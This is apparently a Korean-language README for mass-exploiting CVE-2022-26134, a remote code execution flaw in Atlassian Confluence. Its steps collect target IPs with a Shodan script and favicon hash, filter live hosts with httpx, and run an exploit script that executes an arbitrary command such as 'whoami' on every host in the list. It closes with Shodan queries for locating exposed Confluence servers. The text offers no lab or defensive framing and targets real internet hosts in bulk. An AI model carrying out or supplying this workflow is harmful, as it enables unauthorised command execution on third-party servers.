CVE-2022-26134

1. 먼저 shodan 스크립트를 실행하여 모든 IP를 수집합니다
   
   python3 shodan_script.py -API your_api -L limit -D "http.favicon.hash:-305179312 200" > log.txt

예: python3 shodan_script.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" > log.txt

2. 유효한 모든 IP에 대해 :
   
   cat log.txt | httpx -o forexploits.txt

3. "forexploits.txt" 목록에 대해 익스플로잇 실행 :
   
   python3 CVE-2022-26134.py forexploits.txt "whoami"
   
   취약한 호스트의 IP와 명령어를 출력합니다.

CVE-2022-26134를 위한 Shodan_Dorks

http.component:"atlassian confluence"

http.favicon.hash:-305179312"

http.title:"Log In - Confluence" 200

http.component:"atlassian confluence" http.title:"Log In - Confluence" 200

http.favicon.hash:-305179312 200